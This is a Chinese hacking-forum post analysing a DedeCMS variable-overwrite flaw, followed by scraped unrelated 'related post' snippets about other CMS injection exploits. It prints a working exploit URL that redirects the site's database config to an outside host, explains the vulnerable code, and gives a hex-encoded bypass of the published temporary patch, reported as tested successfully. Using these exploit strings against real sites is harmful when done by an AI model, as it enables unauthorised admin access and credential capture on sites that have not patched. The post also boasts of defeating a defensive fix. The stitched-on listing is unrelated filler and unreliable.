话说文章写得菜不要紧,首先标题要跟大牛一样!

作者:单恋一支花

出自:t00ls

转载请注明出处,如有雷同,纯属别人抄袭,嘿嘿!

一:写在前面

今天晚上想老婆了,失眠了,蛋裂之余,进吐司寻找基友,惊现dedecms通杀漏洞,小菜我异常激动,奈何发表漏洞的大牛只给出exp没给出漏洞分析,看到论坛的部分童鞋还在苦思漏洞缘由,小菜我虽然菜,但是懂点php,所以前来献丑,广大童鞋勿喷!

二:php也有抽的时候

当尝试php应用程序如何处理用户提交的时候,会出现以下反常情况:

1.$GLOBALS是一个全局数组,他可以根据名称访问变量.

2.如果register_globals打开,php会将$_REQUEST数组,也就是用户请求参数注册为全局。

3.php在$_SERVER数组里面会处理时特定的http消息头

4.名称包含下标的输入参数会转化为数组,这也是此次漏洞产生的原因!前三项只是我的一些总结,可能有不完全的地方,期待大牛补充。可能有的童鞋对第四项不是很了解,我就举个简单的例子吧!看代码:

print_r($_GET);

?>

直接提交https://www.webshell.cc/test.php?test[dan]=1&test[lian]=2,这样我们会输出Array ( [test] => Array ( [dan] => 1 [lian] => 2 ) ) ,这样$_GET数组里面又嵌套了一个数组,成为一个二维数组!

三:针对dede的分析

根据上一条的内容,我们来分析一下dede,首先看作者给出exp吧login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root,我们看漏洞文件includecommon.inc.php文件第22行

foreach($_REQUEST as $_k=>$_v)

{

if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )

{

exit('Request var not allow!');

}

}

$REQUEST变量没有过滤全局关键字(请参考我在二:php也有抽的时候的第一条),只验证了是否提交以及提交内容是否包含前缀cfg_|GLOBALS,就进行了第一次遍历数组,而我们的$_REQUET的$k是$_POST,进入第47行

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);

}

我们注册了$_GET变量后,$_GET的$K是$_POST然后在遍历后,$_POST的$K是$_GLOBALS,从而导至$_GLOBALS被注册,其数组里面的元素cfg_dbhost cfg_dbuser cfg_dbpwd cfg_dbname被赋值,从而导致漏洞的产生!

四:漏洞补丁的绕过

在某博客上看到临时补丁

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

foreach($$_request as $_k => $_v) {

if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) ){

exit('Request var not allow!');

}

${$_k} = _RunMagicQuotes($_v);

}

}

在遍历$_POST的时候,如果$k有GLOBALS的关键字就会终止,这点我们可以把GLOBALS转化为16进制绕过的。

login.php?dopost=login&validate=dcug&userid=admin&pwd=admin&_POST[0x474c4f42414c53][cfg_dbhost]=127.0.0.1&_POST[0x474c4f42414c53][cfg_dbuser]=root&_POST[0x474c4f42414c53][cfg_dbpwd]=&_POST[0x474c4f42414c53][cfg_dbname]=dedecmsv55gbk

我本地测试是成功的,有兴趣的同学可以测试一下!

我博客上也发了,嘿嘿大家感兴趣可以去看看我的百度博客!

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/539.html

e7xue.php漏洞_简要分析最近的dedecms通杀漏洞以及漏洞补丁的绕过相关推荐

  1. 易想团购 注入 user.php,易想团购系统通杀SQL注入漏洞分析及利用漏洞预警 -电脑资料...

    刚打开红黑看到J8基友写的一个{易想团购系统 最新版 通杀}的文章,看他贴的代码里面有个get_client_ip()函数,哈哈,我猜没过滤,果断下了一套程序, 找到get_client_ip()函数 ...

  2. recommend.php sql注入漏洞,Espcms通杀SQL注入漏洞分析(附EXP)

    漏洞:Espcms 通杀 SQL注入漏洞分析附EXP 漏洞作者:Seay博客:www.cnseay.com 官网介绍: 易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操 ...

  3. Espcms通杀SQL注入漏洞分析(附EXP)

    漏洞:Espcms 通杀 SQL注入漏洞分析附EXP 漏洞作者:Seay 博客:www.cnseay.com 官网介绍: 易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有 ...

  4. /plus/recommend.php sql注入漏洞,DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 -

    DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 目前官方最新版已修复该漏洞 V5.7.37 GBK正式版20140228常规更新补丁 http://www.dedecms.com/pl/ ht ...

  5. 【安全漏洞】简要分析复现了最近的ProxyShell利用链

    前言 近日,有研究员公布了自己针对微软的Exchange服务的攻击链的3种利用方式.微软官方虽然出了补丁,但是出于种种原因还是有较多用户不予理会,导致现在仍然有许多有漏洞的服务暴露在公网中,本文主要在 ...

  6. docker容器内漏洞_如何在2020年发现和修复Docker容器漏洞

    docker容器内漏洞 Containerization allows engineering teams to create a sandbox environment in which to ru ...

  7. wordpress漏洞_用软件工具扫描WordPress / Shopify主题恶意代码以及漏洞分析相关工具...

    Shopify的主题模板相对于其他WordPress市场的主题,价格偏高,很多卖家选择免费的去授权或者卖家使用后下载后的主题,那么这么就会有不法恶意人士向代码里面加入恶意代码或者制造一些主题漏洞后面, ...

  8. si24r1程序_简要分析SI24R1替代兼容NRF24L01P

    NRF24L01无线模块广泛地运用于:无线门禁.无线数据通讯.安防系统.遥控装置.遥感勘测.智能运动设备.工业传感器:平常我们用到的无线鼠标基本上采用的都是NORDIC的NRF24L01无线模块方案, ...

  9. sx1268 中文_简要分析SX1268

    之前小编给大家简单介绍过SX1278和SX1276的芯片性能对比,今天我们要讲的是继SX1278/76之后,Semtech公司新推出的一款远距离.低功耗的sub-GHz无线收发器芯片-- SX1268 ...

最新文章

  1. Linux运维需要知道的Redis经验
  2. 拥抱大家庭,nodejs走thrift
  3. 详解yarn的resource manager组件
  4. Python实训day09pm【Python处理Excel实际应用】
  5. c语言 动态内存相关函数
  6. 排序算法java实现
  7. 趣味数据故事_坏数据的好故事
  8. Java ObjectInputStream close()方法与示例
  9. 数据预处理-数据变换-规范化
  10. 基于JAVA+Servlet+JSP+MYSQL的读者荐购系统
  11. Java代码调用Shell脚本并传入参数实现DB2数据库表导出到文件
  12. Excel中去重并只保留最近n次日期/最大最小值的数据
  13. 如何做字幕?用语音识别生成字幕?
  14. python模块cpca修改源码支持国外地址解析
  15. 各类文件的文件头尾总结
  16. Python3 心路历程
  17. 磁盘阵列是什么,主要做什么用?
  18. 祝福老婆今晚不要太生气
  19. HTML如何自动播放网易音乐,教大家网易云音乐打开自动播放功能的流程
  20. 【调剂】2022浙江工业大学宣琦课题组招收研究生(有调剂名额)

热门文章

  1. Yii的Querybuild ActiveRecord
  2. html 快捷键id自动编号,Emmet的HTML语法(敲代码的快捷方式)
  3. 古月居ros课件_【古月居】ROS2探索总结系列
  4. sql 条件求和_Excel VBA+SQL 多条件求和实例
  5. 微信小程序页面文字超出一行隐藏,文字超出两行隐藏。
  6. 跨域 Cookie 实现单点登录
  7. ubuntu16.04无法连接WiFi搜索不到网络网卡驱动
  8. Linux 如何取进程运行时间,linux -- 获取进程执行时间
  9. php pdf 加密 签名 时间戳,在现有PDF签名上添加签名时间戳
  10. android黑窗口获取md5_Android获取文件的MD5